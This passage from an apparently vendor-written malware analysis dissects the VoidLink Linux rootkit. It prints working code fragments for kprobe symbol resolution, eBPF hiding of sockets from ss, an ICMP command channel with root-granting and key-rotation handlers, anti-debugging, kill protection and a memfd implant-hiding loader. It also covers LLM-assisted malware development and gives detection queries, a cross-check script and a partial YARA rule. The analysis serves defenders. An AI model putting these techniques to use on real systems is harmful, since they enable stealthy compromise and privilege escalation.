<p>The CentOS 7 variant hooks both <code>getdents</code> and <code>getdents64</code> syscalls, because CentOS 7 userspace tools use both 32-bit and 64-bit directory entry formats. The <code>/proc/modules</code> file is handled separately by replacing the <code>seq_operations.show</code> function pointer after opening the file through <code>filp_open()</code>. This generation also introduces the anti-debugging timer and the self-destruct command, features that persist through all subsequent generations. One notable detail: The variant suppresses all kernel log output by redefining <code>pr_info</code>, <code>pr_err</code>, and <code>pr_warn</code> as no-ops, a simple but effective anti-forensics measure.</p>
<h3>Generation 2: Adapting to kernel 5.x</h3>
<p>The jump from CentOS 7's kernel 3.10 to kernel 5.x required fundamental changes to VoidLink's hooking strategy. Two kernel developments forced the developers' hand: <code>kallsyms_lookup_name()</code> was unexported starting in kernel 5.7, and the syscall table gained stronger write protections through <code>CONFIG_STRICT_KERNEL_RWX</code>.</p>
<p>The second generation, found in <code>stealth_kernel5x.c</code> and <code>lkm_test/main.c</code>, addresses the first problem with a technique known in rootkit development circles as the <em>kprobe trick</em>. Instead of calling <code>kallsyms_lookup_name()</code> directly, the rootkit registers a kprobe on it. The kernel's kprobe subsystem resolves the symbol address internally during registration and stores it in the <code>kp.addr</code> field. The rootkit reads this address and then immediately unregisters the kprobe:</p>
<pre><code class="language-c">static int init_symbols(void)
{
    struct kprobe kp = { .symbol_name = &quot;kallsyms_lookup_name&quot; };
    if (register_kprobe(&amp;kp) &lt; 0)
        return -EFAULT;
    kln_func = (kln_t)kp.addr;
    unregister_kprobe(&amp;kp);
    return kln_func ? 0 : -EFAULT;
}
</code></pre>
<p>This trick was first popularized by modern rootkits, like Diamorphine, and has become the de facto method for symbol resolution on post–5.7 kernels. Once <code>kallsyms_lookup_name</code> is available, the rootkit can resolve any other kernel symbol it needs.</p>
<p>For syscall hooking, Generation 2 abandons direct modification of the syscall table in favor of ftrace. The Linux kernel's function tracing framework was designed for performance analysis and debugging, but it provides a convenient API for attaching callbacks to arbitrary kernel functions. VoidLink registers ftrace hooks on <code>__x64_sys_getdents64</code> and <code>vfs_read</code>, using <code>FTRACE_OPS_FL_SAVE_REGS</code> and <code>FTRACE_OPS_FL_IPMODIFY</code> flags to gain full control over the hooked function's execution. The ftrace callback modifies the instruction pointer in the saved register state, redirecting execution to the rootkit's handler before the original function runs.</p>
<p>This generation also introduces <code>vfs_read</code> hooking to filter sensitive pseudo-files. When a process reads <code>/proc/kallsyms</code>, <code>/proc/modules</code>, or <code>/sys/kernel/debug/kprobes/list</code>, the rootkit intercepts the output buffer and removes any lines containing the module name or kretprobe registrations. This is a significant improvement over the CentOS 7 variant's approach of hooking <code>seq_operations.show</code> for a single file; the <code>vfs_read</code> hook provides a centralized filtering mechanism for all sensitive files.</p>
<h3>Generation 3: Production readiness</h3>
<p>The third generation, found in <code>kernel5x_new/</code> and <code>lkm_5x/</code>, represents the production-ready form of VoidLink. The most visible change is the addition of module parameters that allow the operator to configure the rootkit at load time without needing the ICMP channel:</p>
<pre><code class="language-shell">insmod vl_stealth.ko init_pids=1234 init_ports=8080 stealth=1
</code></pre>
<p>The <code>init_pids</code> parameter specifies process IDs to hide immediately after loading. The <code>init_ports</code> parameter lists ports to hide from <code>netstat</code> and <code>ss</code>. The <code>stealth</code> flag controls whether the module removes itself from the kernel's module list upon initialization. These parameters eliminate the need for a separate ICMP command to configure the rootkit after it loads, thereby reducing the window of vulnerability between module insertion and activation.</p>
<p>This generation also doubles the number of ICMP hook registrations by attaching to both the <code>NF_INET_PRE_ROUTING</code> and <code>NF_INET_LOCAL_IN</code> Netfilter chains. The dual registration ensures reliable command reception, regardless of the host's network configuration and iptables rules. Most rootkits register on only one Netfilter chain; VoidLink's dual approach demonstrates an awareness of operational failures that could occur in diverse network environments.</p>
<p>The most important change in Generation 3 is the delegation of <code>ss</code> hiding to the eBPF companion, which we will examine in detail shortly.</p>
<h2>The eBPF innovation: Hiding from ss</h2>
<p>One of the most technically interesting aspects of VoidLink is how it hides network connections from the <code>ss</code> utility. This problem has historically been a challenge for Linux rootkits because <code>ss</code> and <code>netstat</code> query the kernel through entirely different interfaces, meaning a rootkit that defeats one often fails against the other.</p>
<p>The <code>netstat</code> utility reads from <code>/proc/net/tcp</code>, <code>/proc/net/tcp6</code>, <code>/proc/net/udp</code>, and similar pseudo-files. The kernel generates these files via <code>seq_file</code> operations, calling functions such as <code>tcp4_seq_show()</code> for each socket entry. Hiding a connection from <code>netstat</code> is straightforward: Install a kretprobe on the relevant <code>seq_show</code> function and, when it returns, check whether the source or destination port matches a hidden port. If it does, roll back the <code>seq_file-&gt;count</code> counter to its pre-call value, effectively erasing the line from the output. VoidLink's LKM component uses exactly this approach for <code>netstat</code> hiding, and it works reliably.</p>
<p>The <code>ss</code> utility, however, uses the <code>SOCK_DIAG_BY_FAMILY</code> Netlink interface to query socket information directly from the kernel. The response arrives as a chain of Netlink messages (<code>nlmsghdr</code> structures), each containing an <code>inet_diag_msg</code> with socket details. This is a completely different data path from <code>/proc/net/tcp</code>, and the <code>seq_show</code> kretprobes don’t affect it.</p>
<p>The <code>ebpf_test/</code> directory tells the story of VoidLink's developers struggling to solve this problem. We found 10 sequential versions of <code>hide_ss.bpf.c</code> (v1 through v9, plus a &quot;final&quot; and &quot;full&quot; variant), each one attempting a different approach. The early versions tried to modify Netlink messages in kernel space, which proved unreliable. The later versions converged on the &quot;swallowing&quot; strategy used by the production variant.</p>
<p>The production eBPF program is located in <code>lkm_5x/ebpf/hide_ss.bpf.c</code> and hooks <code>__sys_recvmsg</code> at both entry and return. On entry, it captures the userspace buffer address from the <code>msghdr-&gt;msg_iov</code> chain:</p>
<pre><code class="language-c">SEC(&quot;kprobe/__sys_recvmsg&quot;)
int kprobe_recvmsg(struct pt_regs *regs)
{
    __u32 k = 0;
    __u8 *e = bpf_map_lookup_elem(&amp;enabled, &amp;k);
    if (!e || !*e)
        return 0;

    void *msg = (void *)regs-&gt;si;
    if (!msg)
        return 0;

    void *msg_iov;
    struct iovec iov;
    if (bpf_probe_read_user(&amp;msg_iov, 8, msg + 16) &lt; 0 || !msg_iov)
        return 0;
    if (bpf_probe_read_user(&amp;iov, sizeof(iov), msg_iov) &lt; 0 || !iov.iov_base)
        return 0;

    __u64 id = bpf_get_current_pid_tgid();
    struct rctx_data d = { .buf = iov.iov_base, .len = iov.iov_len };
    bpf_map_update_elem(&amp;recvmsg_ctx, &amp;id, &amp;d, BPF_ANY);
    return 0;
}
</code></pre>
<p>The buffer address and length are stored in a per-thread BPF hash map (<code>recvmsg_ctx</code>), keyed by the thread's PID/TID combination. This allows the return hook to retrieve the buffer address, even though it’s no longer available in the register state at function return.</p>
<p>The return hook is where the actual hiding occurs. After verifying that the <code>recvmsg</code> call succeeded, it walks the Netlink message chain in the userspace buffer:</p>
<pre><code class="language-c">SEC(&quot;kretprobe/__sys_recvmsg&quot;)
int kretprobe_recvmsg(struct pt_regs *regs)
{
    // ... setup and validation ...

    void *buf = d-&gt;buf;
    long offset = 0;
    long prev_offset = -1;
    __u32 prev_len = 0;

    #pragma unroll
    for (int i = 0; i &lt; 32; i++) {
        if (offset &gt;= ret || offset + NLMSG_HDRLEN &gt; ret)
            break;

        __u32 nlmsg_len;
        __u16 nlmsg_type;
        bpf_probe_read_user(&amp;nlmsg_len, 4, buf + offset);
        bpf_probe_read_user(&amp;nlmsg_type, 2, buf + offset + 4);

        int should_hide = 0;
        if (nlmsg_type == SOCK_DIAG_BY_FAMILY) {
            void *payload = buf + offset + NLMSG_HDRLEN;
            __u16 sport, dport;

            if (bpf_probe_read_user(&amp;sport, 2, payload + SPORT_OFF) == 0 &amp;&amp;
                bpf_probe_read_user(&amp;dport, 2, payload + DPORT_OFF) == 0) {

                sport = bpf_ntohs(sport);
                dport = bpf_ntohs(dport);

                if (bpf_map_lookup_elem(&amp;hidden_ports, &amp;sport) != NULL ||
                    bpf_map_lookup_elem(&amp;hidden_ports, &amp;dport) != NULL) {
                    should_hide = 1;
                }
            }
        }

        if (should_hide) {
            if (prev_offset &gt;= 0) {
                __u32 new_len = prev_len + nlmsg_len;
                bpf_probe_write_user(buf + prev_offset, &amp;new_len, 4);
            }
        } else {
            prev_offset = offset;
            prev_len = nlmsg_len;
        }

        offset += NLMSG_ALIGN(nlmsg_len);
    }
    // ...
}
</code></pre>
<p>For each Netlink message of type <code>SOCK_DIAG_BY_FAMILY</code>, the program reads the source and destination ports from fixed offsets within the <code>inet_diag_msg</code> payload (offsets 4 and 6, respectively). If either port matches an entry in the <code>hidden_ports</code> BPF map, the message is &quot;swallowed&quot; by extending the previous message's <code>nlmsg_len</code> to include the current message's length. The <code>bpf_probe_write_user()</code> call modifies the four-byte <code>nlmsg_len</code> field directly in the userspace buffer.</p>
<p>This technique works because Netlink parsers, including the one in <code>ss</code>, advance through the message chain using <code>NLMSG_NEXT()</code>, which calculates the next message offset from the current message's <code>nlmsg_len</code>. By inflating the previous message's length, the hidden message falls within the body of the previous message and is never parsed as a separate entry.</p>
<p>The same &quot;swallowing&quot; technique appears in the process-hiding experiments in the <code>ebpf_test/directory</code>. <code>hide_proc_v4.bpf.c</code> applies the identical approach to <code>getdents64</code>, extending the previous directory entry's <code>d_reclen</code> to absorb the hidden entry. This shows the developers recognized the pattern's general applicability and experimented with applying it beyond network hiding. We do note that process hiding via eBPF was ultimately handled by the LKM's ftrace hook in the production variant, likely because the LKM approach was more reliable for the larger and more variable <code>getdents64</code> buffers.</p>
<h2>The ICMP covert channel</h2>
<p>Every VoidLink variant includes an ICMP-based command-and-control channel that leaves no listening ports, no filesystem artifacts, and, by design, no ICMP replies. The operator sends specially crafted ICMP Echo Request packets to the target host, and the rootkit's Netfilter hook intercepts them before the kernel's normal ICMP processing can generate a response. Commands are processed silently, and the packet is dropped.</p>
<p>The ICMP command protocol uses a simple but effective structure. The rootkit identifies its own traffic by checking the <code>echo.id</code> field in the ICMP header for a magic value, <code>0xC0DE</code>, by default. When a matching packet arrives, the rootkit extracts a 64-byte <code>icmp_cmd</code> structure from the payload:</p>
<pre><code class="language-c">struct icmp_cmd {
    u8 cmd;           // Command byte
    u8 len;           // Length of data
    u8 data[62];      // XOR-encrypted payload
} __attribute__((packed));
</code></pre>
<p>The <code>data</code> field is XOR-encrypted with a single-byte key, <code>0x42</code> by default. While XOR with a known key is trivially reversible, it serves its purpose: preventing casual network monitoring tools from reading commands in cleartext without requiring the overhead of proper cryptography.</p>
<p>The command set evolved across generations. The production variant (v5) supports 10 distinct commands, ranging from hiding processes and ports to privilege escalation and self-destruction. The <code>GIVE_ROOT</code> command (<code>0x11</code>) is noteworthy: It takes a target PID as an argument and uses <code>prepare_creds()</code>/<code>commit_creds()</code> to set all UID and GID fields to zero for that process, effectively granting it root privileges without any authentication mechanism:</p>
<pre><code class="language-c">case ICMP_CMD_GIVE_ROOT:
    if (cmd-&gt;len &gt;= 4) {
        u32 target_pid;
        memcpy(&amp;target_pid, cmd-&gt;data, 4);
        give_root_to_pid(target_pid);
    }
    break;
</code></pre>
<p>The operator interacts with the rootkit through a Python script, <code>icmp_ctl.py</code>, which constructs and sends the ICMP packets using raw sockets. The v5 version of this script provides a clean command line interface (CLI):</p>
<pre><code class="language-shell">./icmp_ctl.py 192.168.1.100 hide_pid 1234
./icmp_ctl.py 192.168.1.100 hide_port 8080
./icmp_ctl.py 192.168.1.100 hide_ip 10.0.0.50
./icmp_ctl.py 192.168.1.100 root 5678
./icmp_ctl.py 192.168.1.100 destruct
</code></pre>
<p>One aspect that distinguishes VoidLink's C2 from simpler rootkit implementations is runtime key rotation. The <code>SET_KEY</code> command (<code>0x20</code>) allows the operator to change both the ICMP magic identifier and the XOR key at runtime:</p>
<pre><code class="language-c">case ICMP_CMD_SET_KEY:
    if (cmd-&gt;len &gt;= 3) {
        u16 new_magic;
        u8 new_key;
        memcpy(&amp;new_magic, cmd-&gt;data, 2);
        new_key = cmd-&gt;data[2];
        g_config.icmp_magic = new_magic;
        g_config.icmp_key = new_key;
    }
    break;
</code></pre>
<p>After rotation, all subsequent commands must use the new magic and key values. This means that even if a defender discovers the initial <code>0xC0DE</code> signature through network monitoring, the operator can switch to a new value and continue operating. The v2 version of <code>icmp_ctl.py</code> even includes a probe mode that iterates through a list of common magic values (<code>0xC0DE</code>, <code>0xDEAD</code>, <code>0xBEEF</code>, <code>0xCAFE</code>, <code>0xFACE</code>), sending a <code>SHOW_MOD</code> command with each one to rediscover a rootkit whose credentials were rotated by a previous operator.</p>
<p>The CentOS 7 variant additionally supports compile-time magic randomization through a <code>CONFIG_RANDOM_MAGIC</code> flag, which generates unique magic and key values at build time using the kernel's random number generator. This would give each deployed instance a unique C2 signature, further complicating network-based detection.</p>
<p>From a detection perspective, the ICMP channel has one significant weakness: all command packets are silently dropped (<code>NF_DROP</code>), meaning that legitimate ICMP Echo Requests to the host will receive replies, while rootkit commands will not. A network monitoring system that correlates ICMP Echo Requests with their corresponding Echo Replies would notice the anomaly of unanswered pings.</p>
<h2>Advanced evasion techniques</h2>
<p>Beyond its core hiding capabilities, VoidLink employs several advanced evasion techniques that suggest awareness of modern endpoint detection and response (EDR) behavior and forensic investigation methods. These features are concentrated in the latest &quot;Ultimate Stealth v5&quot; variant (<code>stealth_v5.c</code>), but some appear across all generations.</p>
<h3>Delayed initialization</h3>
<p>Most rootkits install their hooks immediately during <code>module_init()</code>. This means that any security tool monitoring module that loads, whether it checks for new kprobes, ftrace hooks, or syscall table modifications, can detect the rootkit at the time of insertion. VoidLink's v5 variant counters this by deferring all hook installation by three seconds:</p>
<pre><code class="language-c">static int __init mod_init(void)
{
    if (init_symbols() != 0)
        return -EFAULT;
    schedule_delayed_work(&amp;init_work, msecs_to_jiffies(3000));
    return 0;
}
</code></pre>
<p>The <code>mod_init()</code> function resolves a single symbol (<code>kallsyms_lookup_name</code> via the kprobe trick) and then returns success. The module appears loaded and benign, with no hooks, no Netfilter registrations, and no kretprobes. Three seconds later, <code>delayed_init()</code> fires, installing all nine ftrace hooks, registering the Netfilter ICMP handler, starting the anti-debugging timer, and removing the module from the kernel's module list.</p>
<p>This technique evades security tools that scan for suspicious module behavior in response to module-loading events. By the time the hooks are active, the initial security scan has already completed and may have marked the module as clean. The three-second delay is short enough to be operationally invisible but long enough to outlast any reasonable synchronous security check.</p>
<h3>Anti-debugging and anti-forensics</h3>
<p>VoidLink implements an active anti-forensics capability that is uncommon among Linux rootkits. While Windows malware frequently checks for debugging tools, Linux rootkits rarely implement runtime detection of forensic utilities. VoidLink's approach uses a kernel timer that fires every five seconds and iterates over the entire process list:</p>
<pre><code class="language-c">static const char *debug_tools[] = {
    &quot;strace&quot;, &quot;ltrace&quot;, &quot;gdb&quot;, &quot;perf&quot;, &quot;bpftool&quot;,
    &quot;bpftrace&quot;, &quot;systemtap&quot;, &quot;crash&quot;, &quot;kdb&quot;, &quot;trace-cmd&quot;,
    &quot;ftrace&quot;, &quot;sysdig&quot;, &quot;dtrace&quot;, NULL
};

static void anti_debug_scan(struct timer_list *t)
{
    struct task_struct *task;
    bool detected = false;

    rcu_read_lock();
    for_each_process(task) {
        if (is_debug_tool(task-&gt;comm)) {
            detected = true;
            break;
        }
    }
    rcu_read_unlock();

    if (detected &amp;&amp; !g_data.debug_detected) {
        g_data.debug_detected = true;
    } else if (!detected &amp;&amp; g_data.debug_detected) {
        g_data.debug_detected = false;
    }

    mod_timer(&amp;anti_debug_timer,
              jiffies + msecs_to_jiffies(ANTI_DEBUG_INTERVAL));
}
</code></pre>
<p>The tool list is comprehensive: It covers standard debugging tools (<code>strace</code>, <code>gdb</code>, <code>ltrace</code>), performance analysis utilities (<code>perf</code>, <code>trace-cmd</code>, <code>sysdig</code>), eBPF inspection tools (<code>bpftool</code>, <code>bpftrace</code>), and rootkit detection utilities (<code>rkhunter</code>, <code>chkrootkit</code> in the CentOS 7 variant). The scan uses <code>for_each_process()</code> under read-copy-update (RCU) lock protection, checking each task's <code>comm</code> field against the tool list. When a debugging tool is detected, the <code>debug_detected</code> flag is set. The CentOS 7 variant goes further: It can optionally pause all hiding operations or trigger self-destruction when forensic tools are detected.</p>
<h3>Module masquerading</h3>
<p>Every VoidLink variant disguises its kernel module metadata to impersonate a legitimate AMD driver:</p>
<pre><code class="language-c">MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Advanced Micro Devices, Inc.&quot;);
MODULE_DESCRIPTION(&quot;AMD Memory Encryption Support&quot;);
MODULE_VERSION(&quot;3.0&quot;);
</code></pre>
<p>The real <code>amd_mem_encrypt</code> module is a legitimate part of <a href="https://www.amd.com/en/developer/sev.html">AMD's Secure Memory Encryption (SME) and Secure Encrypted Virtualization (SEV)</a> support in the Linux kernel. By copying its metadata, VoidLink makes its <code>modinfo</code> output indistinguishable from the real driver. This disguise is particularly effective on cloud instances and virtual machines, where AMD-related kernel modules are commonly present and rarely questioned.</p>
<p>The v5 variant takes this further by XOR-encrypting the module name string and decoding it at runtime:</p>
<pre><code class="language-c">static char obf_modname[] = {
    'a'^ICMP_KEY, 'm'^ICMP_KEY, 'd'^ICMP_KEY, '_'^ICMP_KEY,
    'm'^ICMP_KEY, 'e'^ICMP_KEY, 'm'^ICMP_KEY, '_'^ICMP_KEY,
    'e'^ICMP_KEY, 'n'^ICMP_KEY, 'c'^ICMP_KEY, 'r'^ICMP_KEY,
    'y'^ICMP_KEY, 'p'^ICMP_KEY, 't'^ICMP_KEY, 0
};

static void decrypt_string(char *dst, const char *src, u8 key)
{
    while (*src) { *dst++ = *src++ ^ key; }
    *dst = 0;
}
</code></pre>
<p>This prevents simple string scanning of the compiled <code>.ko</code> binary from revealing the disguise name. While the XOR key (<code>0x42</code>) is trivially discoverable, the obfuscation adds a layer that defeats basic <code>strings</code> or <code>grep</code> analysis.</p>
<h3>Process protection</h3>
<p>The v5 variant introduces kill protection for designated processes. By hooking <code>do_send_sig_info</code> via ftrace, the rootkit intercepts all signal deliveries and silently discards lethal signals sent to protected PIDs:</p>
<pre><code class="language-c">if (chk_protected(p-&gt;pid)) {
    if (sig == SIGKILL || sig == SIGTERM || sig == SIGSTOP ||
        sig == SIGINT || sig == SIGHUP || sig == SIGQUIT) {
        return 0;  // Pretend success but don't deliver
    }
}
</code></pre>
<p>The intercepted signals include <code>SIGKILL</code>, <code>SIGTERM</code>, <code>SIGSTOP</code>, <code>SIGINT</code>, <code>SIGHUP</code>, and <code>SIGQUIT</code>, covering all common methods an administrator might use to terminate or suspend a process. The hook returns zero (success) to the caller, making the caller believe that the signal was delivered, when it was actually discarded. Additionally, signals sent to hidden (but not specifically protected) processes return <code>-ESRCH</code> (&quot;No such process&quot;), maintaining the illusion that the process doesn’t exist.</p>
<h3>The memfd-aware boot loader</h3>
<p>The <code>load_lkm.sh</code> script reveals that VoidLink is designed to operate as part of a larger attack toolkit. Before loading the rootkit, the script scans <code>/proc/*/exe</code> for any process running from a <code>memfd</code> file descriptor:</p>
<pre><code class="language-shell">for pid in $(ls /proc 2&gt;/dev/null | grep -E &quot;^[0-9]+$&quot;); do
    exe=$(readlink /proc/$pid/exe 2&gt;/dev/null)
    if [[ &quot;$exe&quot; == *&quot;memfd&quot;* ]]; then
        IMPLANT_PIDS=&quot;$IMPLANT_PIDS $pid&quot;
    fi
done
</code></pre>
<p>A <code>memfd</code> file descriptor, created by <code>memfd_create()</code>, represents an anonymous in-memory file with no on-disk backing. Processes running from <code>memfd</code> are a strong indicator of <em>fileless implants</em>: that is, malware that exists only in memory and leaves no file on the filesystem. The boot script automatically passes any discovered <code>memfd</code> process PIDs to the rootkit as <code>init_pids</code>, ensuring that they’re hidden immediately upon rootkit activation.</p>
<p>This integration tells us that VoidLink isn’t a stand-alone tool. It’s designed to complement a separate fileless implant, likely a reverse shell or beacon, that the operator deploys first. The rootkit's job is to make that implant invisible to administrators and security tools.</p>
<h2>Evidence of LLM-assisted development</h2>
<p>Check Point Research's <a href="https://research.checkpoint.com/2026/voidlink-early-ai-generated-malware-framework/">second publication on VoidLink</a> established that the broader framework was built using AI-driven development through the TRAE IDE, with sprint-planning documents, coding guidelines, and structured specifications all generated by an LLM. The rootkit source code in our data dump independently corroborates this finding and provides additional granular evidence at the code level. While the rootkit's technical sophistication is genuine, the patterns in its source code, comments, and development history offer a ground-level view of how LLM-assisted iteration produced kernel-level malware.</p>
<p>The most compelling evidence comes from the phase-numbered refactoring annotations in the CentOS 7 variant. The file header contains a structured changelog that reads like a series of LLM conversation turns: &quot;Fix the security issues&quot; (Phase 1), &quot;Now improve stealth&quot; (Phase 2), &quot;Add compatibility&quot; (Phase 3), &quot;Improve stability&quot; (Phase 4), &quot;Add defense mechanisms&quot; (Phase 5). Individual code changes are tagged throughout with identifiers like <code>[1.1]</code> for the first fix in Phase 1, <code>[2.3]</code> for the third fix in Phase 2, and so on. This systematic tagging matches the pattern of iterative LLM prompting, where a user requests a category of improvements and the model implements and numbers each one.</p>
<p>The comment style throughout VoidLink is tutorial-like in a way that experienced kernel developers wouldn’t produce. Consider this annotation on a single XOR decryption loop:</p>
<pre><code class="language-c">// XOR decryption
for (i = 0; i &lt; cmd-&gt;len; i++)
    cmd-&gt;data[i] ^= g_config.icmp_key;
</code></pre>
<p>An experienced kernel developer wouldn’t annotate a three-line XOR loop with a comment explaining that it performs XOR decryption. This kind of pedagogical annotation is characteristic of LLM output, where the model explains every step for the user's benefit, regardless of its obviousness.</p>
<p>Every source file in the dump uses the same Unicode box-drawing header (<code>═══</code>) to separate sections. This decorative formatting is a hallmark of LLM-generated code. Human kernel developers almost universally use simple <code>/* */</code> or <code>//</code> comment blocks for section headers. The consistency of this formatting across files written at different times and for different kernel versions suggests that each file was generated or heavily modified by the same LLM.</p>
<p>The <code>ebpf_test/</code> directory provides perhaps the most vivid evidence. It contains <code>hide_ss.bpf.c</code> through <code>hide_ss_v9.bpf.c</code>, with matching <code>loader.c</code> through <code>loader_v9.c</code>. Each version makes incremental improvements over the last, and several contain commented-out &quot;approach&quot; annotations that read like chain-of-thought reasoning:</p>
<pre><code class="language-c">// Approach tried: don't modify return value, only record
// Approach 2: return -ENOMEM to make caller skip
if (data-&gt;should_hide &amp;&amp; regs-&gt;ax == 0) {
    // Try: return -EAGAIN, make caller think temporary error, skip entry
    regs-&gt;ax = (unsigned long)(-EAGAIN);
}
</code></pre>
<p>These &quot;Approach 1 / Approach 2 / try this&quot; annotations look like LLM reasoning traces left in the output, where the model discusses different strategies before implementing one.</p>
<p>Despite the strong LLM fingerprints, VoidLink is clearly not a pure LLM creation. Several pieces of evidence confirm human involvement in the development process. The <code>icmp_ctl.py</code> usage examples contain real Alibaba Cloud IP addresses (<code>8.149.128[.]10</code>, <code>116.62.172[.]147</code>), indicating operational use on actual targets. Compiled <code>.ko</code> files are available for specific kernel versions, demonstrating that the code was tested on real systems. The <code>load_lkm.sh</code> boot script, with its <code>memfd</code> scanning logic, reveals integration with a broader attack toolkit that a pure LLM session wouldn’t produce. And the 10 iterative eBPF versions in <code>ebpf_test/</code> show genuine debugging and testing cycles, not just prompt engineering.</p>
<p>These code-level observations align with Check Point's macro-level findings. Where Check Point recovered the sprint planning documents and TRAE IDE artifacts showing a specification-driven development workflow, our data dump reveals the other side of the same coin: the iterative prompt-test-refine cycles that produced each rootkit component. The most likely development model was a human-LLM collaboration: The operator defined requirements and tested on real systems, while the LLM generated initial implementations and iterated on fixes in response to error reports. This development pattern is significant because it lowers the barrier to entry for kernel-level rootkit development. An operator who understands the concepts but lacks the kernel programming expertise to implement them from scratch can now produce functional, multigeneration rootkits by iterating with an LLM.</p>
<h2>Detecting VoidLink’s rootkits</h2>
<p>Despite VoidLink's multilayered evasion capabilities, several detection strategies are available. The rootkit's thoroughness creates opportunities: Each component, the LKM, the eBPF program, the ICMP channel, and the boot loader, leaves distinct artifacts that defenders can monitor. Because the rootkit actively filters files such as <code>/proc/kallsyms</code>, <code>/proc/modules</code>, and <code>/sys/kernel/debug/kprobes/list</code>, some of the detection strategies below should be validated in a trusted environment, such as a live boot medium or a kernel with verified integrity.</p>
<h3>Module integrity detection</h3>
<p>VoidLink removes itself from the kernel's module linked list (<code>list_del_init</code>), making it invisible to <code>lsmod</code> and <code>/proc/modules</code>. However, the module's sysfs entries under <code>/sys/module/</code> may persist, depending on the variant. Comparing the output of <code>lsmod</code> against <code>ls /sys/module/</code> can reveal discrepancies. Additionally, the absence of <code>amd_mem_encrypt</code> on systems without AMD hardware or without SME/SEV support is a strong indicator.</p>
<p>The following Event Query Language (EQL) query detects kernel module loading events using the default installed utilities:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (
    process.name == &quot;kmod&quot; and
    process.args == &quot;insmod&quot; and
    process.args like~ &quot;*.ko*&quot;
  ) or
  (
    process.name == &quot;kmod&quot; and
    process.args == &quot;modprobe&quot; and
    not process.args in (&quot;-r&quot;, &quot;--remove&quot;)
   ) or
  (
    process.name == &quot;insmod&quot; and
    process.args like~ &quot;*.ko*&quot;
   ) or
  (
    process.name == &quot;modprobe&quot; and
    not process.args in (&quot;-r&quot;, &quot;--remove&quot;)
  )
)
</code></pre>
<p>The loading of the kernel module is detectable through Auditd Manager by applying the following configuration:</p>
<pre><code class="language-sql">-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
</code></pre>
<p>And using the following query:</p>
<pre><code class="language-sql">driver where host.os.type == &quot;linux&quot; 
and event.action == &quot;loaded-kernel-module&quot; 
and auditd.data.syscall in (&quot;init_module&quot;, &quot;finit_module&quot;)
</code></pre>
<h3>Ftrace hook detection</h3>
<p>VoidLink's ftrace hooks can be discovered by inspecting the kernel's tracing infrastructure. The file <code>/sys/kernel/debug/tracing/enabled_functions</code> lists all active ftrace hooks. Unexpected hooks on functions like <code>__x64_sys_getdents64</code>, <code>vfs_read</code>, <code>do_send_sig_info</code>, or <code>__x64_sys_statx</code> are highly suspicious. Note that VoidLink's <code>vfs_read</code> hook filters this file, so inspection from a trusted kernel is recommended.</p>
<h3>eBPF program detection</h3>
<p>The eBPF companion can be detected through <code>bpftool prog list</code>, which enumerates all loaded BPF programs. Kprobe and kretprobe programs attached to <code>__sys_recvmsg</code> are unusual in production environments and warrant investigation. Pinned BPF maps under <code>/sys/fs/bpf/</code> (used by the <code>ebpf_hide</code> variant) are another indicator.</p>
<p>The <code>bpf_probe_write_user</code> helper facilitates direct writes from kernel-space eBPF programs into userland memory. Although designed for debugging, rootkits can exploit this functionality. Consequently, monitoring for instances of this helper's use presents a detection opportunity. This detection requires the collection of raw syslog data and the implementation of specific detection rules, as outlined below:</p>
<pre><code class="language-sql">event.dataset:&quot;system.syslog&quot; and process.name:&quot;kernel&quot; and
message:&quot;bpf_probe_write_user&quot;
</code></pre>
<h3>Behavioral cross-referencing</h3>
<p>One of the most effective detection strategies doesn’t rely on inspecting the rootkit's artifacts directly but instead cross-references different views of the system for inconsistencies. Compare the output of <code>ps aux</code> against a raw listing of <code>/proc/</code> directory entries. Compare <code>netstat -tlnp</code> against <code>ss -tlnp</code> against a direct read of <code>/proc/net/tcp</code>. If VoidLink's eBPF component isn’t loaded (or if the LKM and eBPF hide lists are out of sync), connections visible in one view but not another indicate rootkit activity.</p>
<p>A simple (generated) comparison script can automate this:</p>
<pre><code class="language-shell">#!/bin/bash
# Behavioral cross-referencing: detect hidden processes and network connections
# by comparing multiple views of the same system state.

set -euo pipefail

echo &quot;=== Process cross-reference ===&quot;
ps_count=$(ps aux --no-header | wc -l)
proc_count=$(ls -d /proc/[0-9]* 2&gt;/dev/null | wc -l)
echo &quot;ps reports $ps_count processes, /proc has $proc_count entries&quot;

if [ &quot;$ps_count&quot; -ne &quot;$proc_count&quot; ]; then
    echo &quot;[!] MISMATCH — possible hidden or spoofed processes&quot;
    ps aux --no-header | awk '{print $2}' | sort -n &gt; /tmp/.ps_pids
    ls -d /proc/[0-9]* 2&gt;/dev/null | xargs -n1 basename | sort -n &gt; /tmp/.proc_pids
    diff /tmp/.ps_pids /tmp/.proc_pids || true
    rm -f /tmp/.ps_pids /tmp/.proc_pids
else
    echo &quot;[OK] Process counts match&quot;
fi

echo &quot;&quot;
echo &quot;=== Network cross-reference ===&quot;

# Method 1: ss (iproute2 — always available on modern Linux)
# -t = TCP, -l = listening, -n = numeric, no -p (needs root)
ss_port_nums=$(ss -tln | awk 'NR&gt;1{print $4}' | grep -oP '\d+$' | sort -un)

# Method 2: Parse /proc/net/tcp directly (kernel-level view)
# Filter for state 0A (LISTEN), extract hex port, convert via shell printf
proc_ports=$(
    awk 'NR&gt;1 &amp;&amp; $4 == &quot;0A&quot; {split($2, a, &quot;:&quot;); print a[2]}' \
        /proc/net/tcp /proc/net/tcp6 2&gt;/dev/null \
    | while read -r hex; do printf &quot;%d\n&quot; &quot;0x$hex&quot;; done \
    | sort -un
)

echo &quot;ss listening ports      : $(echo &quot;$ss_port_nums&quot; | tr '\n' ' ')&quot;
echo &quot;/proc/net/tcp listening : $(echo &quot;$proc_ports&quot; | tr '\n' ' ')&quot;

diff_result=$(diff &lt;(echo &quot;$ss_port_nums&quot;) &lt;(echo &quot;$proc_ports&quot;) || true)
if [ -z &quot;$diff_result&quot; ]; then
    echo &quot;[OK] Network views match&quot;
else
    echo &quot;[!] MISMATCH — possible hidden connections:&quot;
    echo &quot;$diff_result&quot;
fi
</code></pre>
<h3>YARA signature</h3>
<p>Based on our analysis, we developed the following YARA signature to detect VoidLink's compiled kernel modules and related artifacts:</p>
<pre><code>rule Linux_Rootkit_VoidLink {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2026-03-12&quot;
        last_modified = &quot;2026-03-12&quot;
        os = &quot;Linux&quot;
